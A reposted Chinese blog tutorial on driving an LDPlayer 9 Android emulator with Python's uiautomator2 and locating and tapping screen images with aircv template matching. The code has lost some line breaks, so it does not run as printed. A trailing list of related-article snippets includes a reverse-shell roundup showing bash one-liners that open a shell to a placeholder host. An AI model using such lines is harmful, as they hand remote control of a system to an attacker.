python使用uiautomator2操作雷电模拟器9找图

接上篇文章python使用uiautomator2操作雷电模拟器9并遇到解决adb 连接emulator-5554 unauthorized问题-CSDN博客

搭建好uiautomator2后,主要就是使用了。

本文就利用uiautomator2的截屏、模拟点击和aircv的找图功能,实现对指定寻找的图片的位置的点击。

环境:python3.8.10,雷电模拟器9

安装库:pip38 install aircv

找图文章参考:

https://blog.51cto.com/u_16213450/9633239

ac.find_template识别图片并定位-CSDN博客 

上我的代码:

import aircv as ac
import uiautomator2 as u2
import timed = u2.connect() # connect to device
print(d.info)displayWidth = d.info['displayWidth']
displayHeight = d.info['displayHeight']
print(displayWidth,displayHeight)imsrc = ac.imread('s1.png')#源图,全范围图
imobj = ac.imread('s2.png')#目标图,局部图
pos = ac.find_template(imsrc, imobj)
print(pos)
print(pos['result'][0])#横坐标
print(pos['result'][1])#纵坐标
#找不到的时候,会返回None
#找到的时候,返回{'result': (360.0, 828.5), 'rectangle': ((307, 808), (307, 849), (413, 808), (413, 849)), 'confidence': 0.9999998807907104}
#pos的数据含义为匹配图片在原始图片上的中心坐标点,也就是我们要找的click点,rectangle为矩形坐标(以左上角为坐标原点),confidence是匹配度。
# if float(pos['confidence']) > 0.95:#符合精准度,就是找到了
#     print('Have Search')#使用uiautomator2的click点击找到的图片
#uiautomator2中click输入的是比例(为了适应各种手机屏幕),需要使用 目标点像素的宽 / 屏幕宽,目标点像素高 / 屏幕高
time.sleep(3)d.click(pos['result'][0]/displayWidth,pos['result'][1]/displayHeight)

上述代码中,s1.png是用uiautomator2的截图命令截取的。

d.screenshot('s1.png')

 

s2.png为其中的一部分图片(这是要自己设定的),如图:

 

注意:提取s2.png的时候,一定要使用画图板打开s1.png,然后比例是100%的时候,再裁切得到s2.png,否则会有意想不到的错误(找不到图片,pos返回None)。 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/805747.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java程序生成exe文件启动时,在没有java环境计算机运行

1.idea项目配置工件 2. 开始构建java程序成jar包 3. 生成exe启动程序

【图像分类】MMPretrain训练ImageNet格式自定义数据集

1. 安装环境 1.1. Conda虚拟环境 conda create --name mmpretrain python3.8 -y conda activate mmpretrain 1.2. 安装PyTorch pip install torch1.13.1cu117 torchvision0.14.1cu117 torchaudio0.13.1 --extra-index-url https://download.pytorch.org/whl/cu117 1.3. 安…

结构型模式--3.组合模式【草帽大船团】

1. 好大一棵树 路飞在德雷斯罗萨打败多弗朗明哥之后,一些被路飞解救的海贼团自愿加入路飞麾下,自此组成了草帽大船团,旗下有7为船长,分别是: 俊美海贼团75人 巴托俱乐部56人 八宝水军1000人 艾迪欧海贼团4人 咚塔塔海…

交换机的基本原理与配置_实验案例一:交换机的初始配置

1、实验环境 实验用具包括一台Cisco交换机,一台PC,一根Console 线缆。 2、需求描述 如图5.17所示,实验案例一的配置需求如下。 通过PC连接并配置一台Cisco交换机。在交换机的各个配置模式之间切换。将交换机主机的名称改为BDON 3、推荐步…

滴滴春招内幕揭秘:2024最全Spring JPA面试题大全,含详解与实战示例!百分之九十九的Java后端开发者都在收藏!

在2024年的技术招聘市场中,滴滴出行作为领先的移动出行平台,对后端开发人员的需求依然强劲。随着Spring框架在企业级Java应用开发中的广泛应用,Spring Data JPA作为数据访问层的关键技术,成为了滴滴面试中的重要考察点之一。Sprin…

【滑动窗口】

滑动窗口算法是解决一类特定问题的有效方法,尤其适用于涉及数组/字符串的连续元素问题。这里有一些常见的应用题型,可以用C实现滑动窗口算法来解决: 最小覆盖子串:给定一个字符串S和一个字符串T,在S中找到最小的子串&a…

知网参考文献引用格式转latex中BibTex-Python操作

处理思路 参考 处理步骤: (单条处理:) 1、选知网NoteExpress格式的2-7行复制信息 2、新建一个文本文件,命名为cite.txt,把知网所复制信息粘贴进来 (txt文件保存编码ANSI可行) 3、…

SpringBoot登录校验拦截器Interceptor

什么是拦截器 是一种动态拦截方法调用的机制,类似于过滤器。 拦截器是Spring框架中提供的,用来动态拦截控制器方法的执行。 拦截器的作用: 拦截请求,在指定方法调用前后,根据业务需要执行预先设定的代码。 在拦截器…

Double.toString()原理

转变过程 如图,假设将double类型能精确表示的数字落在数轴上,分别是double1、double2、double3。 这个时候,我们有十进制数字a,想要转变成double表示,这个时候得到的是double2,因为double2是距离这个十进制…

进制转换(2 8 10 16 String)

题目 public class Main {static String s "0123456789abcdef";//m 2 8 10 16public static int res(int n,int m) {StringBuffer sb new StringBuffer(); while(n!0) {sb.append(s.charAt(n%m));n/m;}//转换为对应进制之后String s sb.reverse().toString();ch…

反弹shell方式汇总

反弹shell汇总 文章旨意在于总结各类反弹shell,有不足或漏缺请各位是否指出. 注意有些反弹shell的方法或脚本只适用于Linux或者Windows,注意区分相关脚本的编写方式方法。 bash bash -i >& /dev/[tcp|udp]/[host]/[port] 0>&1 /bin/bash -i >…

2023NJU-ICS PA1.2表达式求值 思路详解 心得体会

前言 PA1.2的细节非常非常多,导致这几天花了大量的时间去调试bug,4.3晚上终于过了最后一关“如何测试你的代码”(花了两整天时间才调成功)。虽然耗时巨大,但确实学到了不少东西、训练了能力,于是抽几天时间…

Hystrix的概念、作用、使用方法

Hystrix 是 Netflix 开源的一个用于分布式系统的延迟和容错库,其主要目的是提供容错能力,防止分布式系统中的雪崩效应。 概念: Hystrix 提供了一个弹性、可控的延迟和容错机制,通过对服务调用进行隔离、降级、断路器等处理&#…

【IC前端虚拟项目】时序面积优化与综合代码出版本交付

【IC前端虚拟项目】数据搬运指令处理模块前端实现虚拟项目说明-CSDN博客 到目前为止,我们完成了第一版综合,那么就可以打开报告看一下了,一看就会发现在1GHz时钟下时序真的很差(毕竟虚拟项目里使用的工艺库还是比较旧的,如果用12nm、7mn会好很多): Timing Path Group cl…

echarts地图自定义label属性以及引入china.js

效果图: 要点1:calc函数 重点&#xff1a;在于mapChart的height可以写成函数以便适配不同尺寸&#xff1b; <div class"content-map"><div class"wai-top-box" style"width: 100%; height: 100%"><div id"mapChart" s…

【算法优选】 动态规划之简单多状态dp问题——贰

文章目录 &#x1f38b;前言&#x1f334;[买卖股票的最佳时机含冷冻期](https://leetcode.cn/problems/best-time-to-buy-and-sell-stock-with-cooldown/description/)&#x1f6a9;题目描述&#x1f6a9;算法思路&#xff1a;&#x1f388;状态表示&#xff1a;&#x1f388;…

Host Aware SMR

SMR 简介 首先给一点前置SMR知识。 SMR优势&#xff1a;Capacity的提升。 看图&#xff1a;由于重叠Track使得存储密度得到了提升。但是由于Track的重叠&#xff0c;使得SMR只能顺序写。 在SMR中&#xff0c;多个Track组成一个Band&#xff0c;各个Band之间可以随机写 这个 …

设计模式-依赖倒置原则

基本介绍 依赖倒转原则(Dependence Inversion Principle)是指: 高层模块不应该依赖低层模块&#xff0c;二者都应该依赖其抽象抽象不应该依赖细节&#xff0c;细节应该依赖抽象依赖倒转(倒置)的中心思想是面向接口编程依赖倒转原则是基于这样的设计理念:相对于细节的多变性&a…

94岁诺奖得主希格斯去世,曾预言「上帝粒子」的存在

ChatGPT狂飙160天&#xff0c;世界已经不是之前的样子。 新建了免费的人工智能中文站https://ai.weoknow.com 新建了收费的人工智能中文站https://ai.hzytsoft.cn/ 更多资源欢迎关注 一位用诗意的语言揭示宇宙秘密的人。 一位 94 岁伟大科学家的逝世&#xff0c;引发了人们广泛…

RUST语言值所有权之内存复制与移动

1.RUST中每个值都有一个所有者,每次只能有一个所有者 String::from函数会为字符串hello分配一块内存 内存示例如下: 在内存分配前调用s1正常输出 在分配s1给s2后调用报错 因为s1分配给s2后,s1的指向自动失效 s1被move到s2 s1自动释放 字符串克隆使用 所有整数类型,布尔类型 …